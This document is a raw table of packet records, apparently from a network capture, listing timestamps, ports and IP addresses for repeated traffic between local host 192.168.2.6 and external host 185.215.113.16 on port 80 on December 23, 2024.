Dec 23, 2024 09:00:38.710174084 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.710242987 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.710377932 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.710517883 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.711015940 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.711210012 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.711333990 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.711848974 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.712053061 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.712161064 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.712553978 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.712737083 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.712860107 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.713336945 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.713546991 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.713668108 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.714126110 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.714322090 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.714839935 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.714948893 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.715135098 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.715207100 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.715755939 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.716002941 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.716095924 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.716531992 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.716732979 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.717142105 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.717324972 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.717504978 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.717772961 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.718122959 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.718307972 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.718442917 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.718930960 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.719119072 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.719540119 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:38.719712973 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.719903946 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:38.720124006 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.188947916 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.237517118 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.534409046 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.654010057 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.654171944 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.654373884 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.654599905 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.654829025 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.654937983 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.655143976 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.655436039 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.655503035 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.655533075 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.655888081 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.656066895 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.656220913 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.656560898 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.656877995 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.656924963 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.657221079 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.657560110 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.657782078 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.657918930 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.658103943 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.658220053 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.658561945 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.658879042 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.658890963 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.659212112 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.659550905 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.659672022 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.659888983 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.660265923 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.660288095 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.660557032 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.660659075 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.660891056 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.661221027 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.661309004 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.661580086 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.661592960 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.661688089 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.662216902 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.662561893 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.662676096 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.662919044 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.663240910 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.663558960 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.663717031 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.663913012 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.663999081 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.664237976 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.664575100 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.664706945 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.664923906 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.665231943 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.665405989 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.665690899 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.665894985 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.666332960 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.666469097 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.666539907 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.666995049 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.667123079 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.667238951 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.667345047 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.667678118 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.667907000 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.668028116 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.668373108 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.668580055 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.668816090 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.669019938 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.669230938 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.669384956 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.669722080 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.669889927 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.670057058 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.670418024 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.670593023 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.670809984 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.671086073 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.671294928 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.671575069 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.671799898 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.671952009 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.672128916 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.672487020 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.672647953 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.672719002 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.673110962 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.673302889 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.673425913 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.673835993 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.674045086 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.674128056 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.674510002 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.674701929 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.674752951 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.675173998 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.675368071 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.675430059 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.675904989 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.676089048 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.676156998 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.676558971 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.676738977 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.676789045 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.677227974 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.677434921 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.677485943 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.677894115 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.678108931 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.678174973 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.678580999 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.678760052 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.678980112 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.679263115 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.679454088 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.679578066 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.679981947 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.680180073 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.680232048 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.680654049 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.680834055 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.680943966 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.681315899 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.681512117 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.681735992 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.681992054 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.682190895 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.682265043 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.682692051 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.682863951 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.682918072 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.683387041 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.683542967 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.683612108 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.684103966 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.684269905 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.684344053 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.684736013 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.684943914 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.685019016 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.685432911 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.685622931 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.685684919 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.686116934 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.686307907 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.686398029 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.686810970 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.686963081 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.687117100 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.687453032 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.687642097 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.687695026 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.688138008 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.688313961 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.688380003 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.688841105 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.689040899 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.689110041 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.689512014 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.689709902 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.689815044 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.690207005 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.690407038 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.690566063 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.690907001 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.691067934 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.691359997 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.691570044 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.691801071 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.691848993 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.692636967 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.692853928 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.692930937 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.693113089 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.693444014 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.693528891 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.693753958 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.694103003 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.694148064 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.694418907 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.694777012 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.694926977 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.695097923 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.695436001 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.695574045 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.695772886 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.696104050 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.696149111 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.696429014 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.696794033 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.696854115 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.697102070 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.697443008 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.697491884 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.697776079 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.698090076 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.698139906 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.698447943 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.698786020 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.698888063 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.699122906 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.699459076 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.699750900 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.699815035 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.700104952 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.700190067 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.700463057 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.700772047 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.700875998 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.701109886 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.701466084 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.701807022 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.701870918 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.702104092 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.702168941 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.702478886 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.702795029 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.702858925 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.703170061 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.703438044 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.703592062 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.703854084 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.704109907 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.704247952 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.704536915 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.704783916 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.704834938 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.705233097 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.705460072 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.705537081 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.705955982 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.706142902 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.706336975 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.706583023 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.706779003 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.706864119 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.707252026 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.707480907 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.707627058 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.707942963 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.708117962 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.708246946 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.708693027 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.708880901 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.709021091 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.709300041 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.709569931 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.709680080 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.709978104 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.710233927 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.710444927 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.710673094 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.710887909 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.710939884 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.711350918 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.711576939 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.711639881 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.712038040 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.712219000 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.712271929 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.712764025 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.712941885 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.713305950 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.713502884 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.713696003 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.713756084 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.714126110 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.714293957 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.714551926 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.714793921 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.714951038 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.715049982 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.715455055 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.715640068 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.715703964 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.716134071 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.716309071 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.716356993 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.716830015 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.717015982 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.717091084 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.717515945 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.717684031 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.717740059 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.718189001 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.718379021 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.718465090 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.718866110 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.719048977 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.719270945 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.719537020 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.719746113 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.719810009 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:39.720242023 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.720446110 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:39.720488071 CET	49794	80	192.168.2.6	185.215.113.16
